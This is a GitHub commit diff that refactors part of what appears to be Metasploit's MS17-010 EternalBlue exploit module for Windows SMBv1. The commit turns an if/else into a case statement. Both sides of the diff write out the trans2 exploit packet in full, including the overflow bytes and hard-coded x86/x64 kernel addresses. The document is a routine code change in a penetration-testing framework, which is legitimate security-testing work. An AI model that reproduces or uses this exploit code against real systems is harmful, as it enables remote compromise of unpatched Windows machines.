Skip to content

Commit a5f910e

Browse files
David MaloneyDavid Maloney
authored andcommitted
move trans2 conditional to case statement
this is cleaner as a case statement
1 parent b65c959 commit a5f910e

File tree

1 file changed

+48
-54
lines changed

1 file changed

+48
-54
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 48 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -438,62 +438,56 @@ def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
438438
pkt = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
439439
pkt = nbss + pkt
440440

441-
if type == :eb_trans2_exploit
442-
vprint_status("Making :eb_trans2_exploit packet")
443-
444-
pkt << "\x41" * 2957
445-
446-
pkt << "\x80\x00\xa8\x00" # overflow
447-
448-
pkt << "\x00" * 0x10
449-
pkt << "\xff\xff"
450-
pkt << "\x00" * 0x6
451-
pkt << "\xff\xff"
452-
pkt << "\x00" * 0x16
453-
454-
pkt << "\x00\xf1\xdf\xff" # x86 addresses
455-
pkt << "\x00" * 0x8
456-
pkt << "\x20\xf0\xdf\xff"
457-
458-
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
459-
460-
pkt << "\x60\x00\x04\x10"
461-
pkt << "\x00" * 4
462-
463-
pkt << "\x80\xef\xdf\xff"
464-
465-
pkt << "\x00" * 4
466-
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
467-
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
468-
pkt << "\x00" * 0x10
469-
470-
pkt << "\x60\x00\x04\x10"
471-
pkt << "\x00" * 0xc
472-
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
473-
pkt << "\x00" * 0x8
474-
pkt << "\x80\x10"
475-
pkt << "\x00" * 0xe
476-
pkt << "\x39"
477-
pkt << "\xbb"
478-
479-
pkt << "\x41" * 965
480-
481-
return pkt
482-
end
483-
484-
if type == :eb_trans2_zero
485-
vprint_status("Making :eb_trans2_zero packet")
486-
pkt << "\x00" * 2055
487-
pkt << "\x83\xf3"
488-
pkt << "\x41" * 2039
489-
#pkt << "\x00" * 4096
490-
else
491-
vprint_status("Making :eb_trans2_buffer packet")
492-
pkt << "\x41" * 4096
441+
case type
442+
when :eb_trans2_exploit
443+
vprint_status("Making :eb_trans2_exploit packet")
444+
445+
pkt << "\x41" * 2957
446+
447+
pkt << "\x80\x00\xa8\x00" # overflow
448+
449+
pkt << "\x00" * 0x10
450+
pkt << "\xff\xff"
451+
pkt << "\x00" * 0x6
452+
pkt << "\xff\xff"
453+
pkt << "\x00" * 0x16
454+
455+
pkt << "\x00\xf1\xdf\xff" # x86 addresses
456+
pkt << "\x00" * 0x8
457+
pkt << "\x20\xf0\xdf\xff"
458+
459+
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
460+
461+
pkt << "\x60\x00\x04\x10"
462+
pkt << "\x00" * 4
463+
464+
pkt << "\x80\xef\xdf\xff"
465+
466+
pkt << "\x00" * 4
467+
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
468+
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
469+
pkt << "\x00" * 0x10
470+
471+
pkt << "\x60\x00\x04\x10"
472+
pkt << "\x00" * 0xc
473+
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
474+
pkt << "\x00" * 0x8
475+
pkt << "\x80\x10"
476+
pkt << "\x00" * 0xe
477+
pkt << "\x39"
478+
pkt << "\xbb"
479+
480+
pkt << "\x41" * 965
481+
when :eb_trans2_zero
482+
vprint_status("Making :eb_trans2_zero packet")
483+
pkt << "\x00" * 2055
484+
pkt << "\x83\xf3"
485+
pkt << "\x41" * 2039
486+
else
487+
vprint_status("Making :eb_trans2_buffer packet")
488+
pkt << "\x41" * 4096
493489
end
494-
495490
pkt
496-
497491
end
498492

499493
def make_smb1_nt_trans_packet(tree_id, user_id)

0 commit comments

Comments
 (0)